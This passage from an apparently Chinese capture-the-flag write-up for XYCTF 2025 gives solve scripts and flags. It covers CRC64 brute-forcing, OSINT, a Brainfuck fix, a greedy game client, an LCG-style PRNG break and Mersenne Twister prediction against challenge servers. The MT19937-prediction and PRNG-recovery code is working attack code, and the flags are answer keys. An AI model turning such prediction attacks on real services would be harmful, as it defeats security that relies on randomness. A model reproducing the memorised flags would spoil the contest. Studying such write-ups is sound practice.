0x47,0x7B,0x9F,0x41,0x4E,0xE3,0x63,0xDC,0xC6,0xBF,0xB2,0xE7,0xD4,0xF8,0x1E,0x3,0x9E,0xD8,0x5F,0x62,0xBC,0x2F,0xD6,0x12,0xE8,0x55,0x57,0xCC,0xE1,0xB6,0xE8,0x83,0xCC,0x65,0xB6,0x2A,0xEB,0xB1,0x7B,0xFC,0x6B,0xD9,0x62,0x2A,0x1B,0xCA,0x82,0x93,0x87,0xC3,0x73,0x76,0xA0,0xF8,0xFF,0xB1,0xE1,0x5,0x8E,0x38,0x27,0x16,0xA8,0xD,0xB7,0xAA,0xD0,0xE8,0x1A,0xE6,0xF1,0x9E,0x45,0x61,0xF2,0xE7,0xD2,0x3F,0x78,0x92,0xB,0xE6,0x6F,0xF5,0xA1,0x7C,0xC9,0x63,0xAB,0x3A,0xB7,0x43,0xB0,0xA8,0xD3,0x9B
]
while len(enc) % 8 != 0:
enc.append(0)
v7_targets = [struct.unpack("<Q", bytes(enc[i:i+8]))[0] for i in range(0, len(enc), 8)]
def crc64_ecma(data: bytes) -> int:
poly = 0x42F0E1EBA9EA3693
crc = 0xFFFFFFFFFFFFFFFF
for byte in data:
crc ^= byte << 56
for _ in range(8):
if (crc & 0x8000000000000000) == 0:
crc <<= 1
else:
crc = (crc << 1) ^ poly
crc &= 0xFFFFFFFFFFFFFFFF
return ~crc & 0xFFFFFFFFFFFFFFFF
charset = ''.join([chr(i) for i in range(1, 127)])
results = []
print("[*] Start cracking...")
for idx, target in enumerate(v7_targets):
found = False
for a, b in itertools.product(charset, repeat=2):
candidate = (a + b).encode()
if crc64_ecma(candidate) == target:
results.append(a + b)
print(f"[+] Found block {idx}: {a+b}")
found = True
break
if not found:
results.append("??")
print(f"[!] Block {idx} not found.")
# 输出 flag
flag = "".join(results)
print(f"\n Final result: {flag}")
# flag{LLVM_1s_Fun_Ri9h7?}
MISC
XGCTF
搜索引擎搜索关键词 LamentXU ctf
找到 LamentXU 师傅的博客 https://www.cnblogs.com/LAMENTXU
在博客里搜索关键词“西瓜”,看到出的题是 ezpollution
是一个原型链污染的题,问了队里的 web 手,想到了去年华东南的题 Polluted,搜索关键词 "dragonkeep" "Polluted"
,找到 dragonkeep 师傅的文章
查看源码,找到 flag
base64 解码即可
flag{1t_I3_t3E_s@Me_ChAl1eNge_aT_a1L_P1e@se_fOrg1ve_Me}
签个到吧
Brainfuck 编码,但是给出的代码中没有输出字符 .
,而且每次生成完之后就清零了,需要在每次循环前加上输出就可以打印 flag,即将 <[-]>
替换为 <.[-]>
即可,最后一次循环没有 >
,手动加一下点
flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}
Greedymen
贪心算法
from pwn import *
import math
def get_factors(num):
factors = {1}
for i in range(2, int(math.sqrt(num)) + 1):
if num % i == 0:
factors.add(i)
factors.add(num // i)
return factors
def calculate_opponent_score(choice, assigned_numbers):
factors = get_factors(choice)
opponent_score = 0
for factor in factors:
if factor not in assigned_numbers and factor != choice:
opponent_score += factor
return opponent_score
def can_choose(num, assigned_numbers):
factors = get_factors(num)
for factor in factors:
if factor not in assigned_numbers:
return True
return False
def generate_priority_list(level):
if level == 1:
numbers = list(range(1, 51))
elif level == 2:
numbers = list(range(1, 101))
else:
numbers = list(range(1, 201))
prime_numbers = [num for num in numbers if is_prime(num)]
composite_numbers = [num for num in numbers if not is_prime(num)]
return prime_numbers + composite_numbers
def is_prime(num):
if num <= 1:
return False
for i in range(2, int(math.sqrt(num)) + 1):
if num % i == 0:
return False
return True
def generate_best_choices(level):
priority_list = generate_priority_list(level)
if level == 1:
max_num = 50
unassigned_numbers = list(range(1, 51))
elif level == 2:
max_num = 100
unassigned_numbers = list(range(1, 101))
else:
max_num = 200
unassigned_numbers = list(range(1, 201))
available_numbers = set(unassigned_numbers)
assigned_numbers = set()
choices = []
counter = 19 if level == 1 else (37 if level == 2 else 76)
while counter > 0 and available_numbers:
best_choice = None
max_gain = -float('inf')
for num in priority_list:
if num in available_numbers and can_choose(num, assigned_numbers):
opponent_score = calculate_opponent_score(num, assigned_numbers)
gain = num - opponent_score
if gain > max_gain:
max_gain = gain
best_choice = num
if best_choice is None:
break
choices.append(best_choice)
available_numbers.remove(best_choice)
assigned_numbers.add(best_choice)
factors = get_factors(best_choice)
for factor in factors:
if factor != best_choice:
assigned_numbers.add(factor)
counter -= 1
return choices
def generate_all_optimal_solutions():
optimal_solutions = []
for level in range(1, 4):
best_choices = generate_best_choices(level)
optimal_solutions.append(best_choices)
return optimal_solutions
optimal_solutions = generate_all_optimal_solutions()
p = remote('47.94.204.178', 38950)
p.recvuntil(b'3.Quit\n')
p.send(b'1\n')
for i in range(3):
for j in range(len(optimal_solutions[i])):
p.recvuntil(b'Choose a Number:')
p.send(str(optimal_solutions[i][j]).encode() + b'\n')
p.interactive()
flag{Greed, is......key of the life.}
会飞的雷克萨斯
flag{四川省内江市资中县水南镇春岚北路城市中心内}
直接百度地图搜小东十七,结合新闻小孩炸飞豪车
曼波曼波曼波
打开smn.txt一/9j/4
逆序base64的JPG图片
foremost分离一下得到一个zip,解压后得到一个png,还有一个压缩包更具提示猜密码为XYCTF2025,解压又得到一个png,这个图很经典一眼盲水印
MADer也要当CTFer
flag{l_re@IIy_w@nn@_2_Ie@rn_AE}
打开得到一个mkv,只能放十秒钟,后面很多看不到应该是被改过了,直接提取一下字幕
提取一下字幕
直接替换掉保留后面的字幕,放到cyberchef转一下hex
Crypto
reed
PRNG 伪随机数生成生成器 + 线性同余方程组
由于 seed 种子是自己控制的,所以所有 prng 生成的随机数都是固定可预测的,但是问题在于加密轮数 r.randrange(2**16) 的大小不可预测,因为 r 是 random.Random(),由系统状态作为种子
但是注意到对加密过程中,使用的 c = a*table.index(m)+b 中存在 fixed point 不动点 (0,b),也就是说,如果 flag 中存在字符 a
(索引为0),该字符对应的加密结果就是随机数 b
于是可以生成 2**16 范围内的所有随机数序列,将密文数组中的整数与随机数序列进行比对,查看是否有相等的数,若有,该数就是 b
import random
import string
table = string.ascii_letters + string.digits
r = random.Random()
rand_list = []
class PRNG:
def __init__(self, seed):
self.a = 1145140
self.b = 19198100
random.seed(seed)
def next(self):
x = random.randint(self.a, self.b)
random.seed(x ** 2 + 1)
rand_list.append(x)
return x
def round(self, k):
x = None
for _ in range(k):
x = self.next()
return x
def encrypt(msg, a, b):
c = [(a * table.index(m) + b) % 19198111 for m in msg]
return c
seed = 1
prng = PRNG(seed)
a = prng.round(r.randrange(2**16))
b = prng.round(r.randrange(2**16))
enc = [8795335, 8795335, 7727375, 972018, 8795335, 7727375, 6684584, 5616624, 276824, 13439941, 997187, 15923458, 3480704, 5616624, 10236061, 8100141, 5616624, 14855498, 14855498, 3480704, 997187, 2065147, 10236061, 19127338, 13439941, 2412744, 3480704, 1344784, 14855498, 8795335, 12346812, 8795335, 12346812, 19102169, 8795335, 15550692]
for c in enc:
if c in rand_list:
print(f"找到可疑 b = {c}")
b = c
# 找到可疑 b = 2065147
得到 b 后,枚举 index 和密文即可求得 a
candidate_a = []
for c in set(enc):
if c == b:
continue
for index in range(1, len(table)):
try:
inv = pow(index, -1, 19198111)
a = ((c - b) * inv) % 19198111
candidate_a.append(a)
except ValueError:
continue
def is_valid_a(a, b, enc):
for c in enc:
try:
idx = (c - b) * pow(a, -1, 19198111) % 19198111
if not (0 <= idx < len(table)):
return False
except:
return False
return True
for a in candidate_a:
if is_valid_a(a, b, enc):
print(f"a = {a}")
break
# a = 12442754
得到 a 和 b 之后,求解线性同余方程组即可
def decrypt(enc, a, b):
flag = ""
for c in enc:
a_inv = pow(a, -1, 19198111)
m_index = (c - b) * a_inv % 19198111
if m_index < 0 or m_index >= len(table):
flag += "?"
else:
flag += table[m_index]
return flag
flag = decrypt(enc, a, b)
print("flag: ", flag)
# flag: 114514fixedpointissodangerous1919810
Division
Python 的 random 随机数预测,提供了两个选项,选项 1 会打印 random.getrandbits(32) 生成的随机数
于是可以选择 624 次选项 1,收集足够多的随机数,就可以预测之后所有的随机数,此时再选择 2 即可
from pwn import *
from mt19937predictor import MT19937Predictor
import re
HOST = '39.106.48.123'
PORT = 44314
predictor = MT19937Predictor()
io = remote(HOST, PORT)
def recv_until_prompt():
io.recvuntil(b': >>> ')
def choose_menu(option):
recv_until_prompt()
io.sendline(str(option).encode())
def collect_random_nums():
print('[*] 正在收集 624 个 getrandbits(32) 输出...')
for i in range(624):
choose_menu(1)
io.recvuntil(b'denominator: >>>')
io.sendline(b'1')
line = io.recvline().decode()
try:
nominator = int(line.split('//')[0])
predictor.setrandbits(nominator, 32)
print(f' [+] [{i+1}/624] nominator = {nominator}')
except:
print(f'[!] 解析失败:{line}')
exit(1)
print('[*] 收集完毕')
def predict_answer():
rand1 = predictor.getrandbits(11000)
rand2 = predictor.getrandbits(10000)
correct = rand1 // rand2
print(f'[+] 预测的正确答案是:{correct}')
return correct
def submit_and_get_flag(predicted_ans):
choose_menu(2)
io.recvuntil(b'input the answer:')
io.sendline(str(predicted_ans).encode())
output = io.recvuntil(b'}', timeout=3).decode(errors='ignore')
print('\n===== FLAG 结果如下 =====\n')
print(output)
print('==========================\n')
collect_random_nums()
ans = predict_answer()
submit_and_get_flag(ans)